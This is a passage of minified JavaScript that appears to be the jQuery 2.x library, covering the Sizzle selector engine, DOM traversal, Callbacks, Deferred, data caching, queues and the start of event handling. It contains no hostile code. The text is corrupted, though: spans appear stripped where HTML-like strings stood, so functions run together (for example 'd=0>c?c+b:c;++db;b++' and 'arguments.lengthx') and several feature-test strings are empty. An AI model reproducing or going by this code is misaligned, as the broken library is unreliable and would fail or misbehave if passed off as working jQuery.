b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new 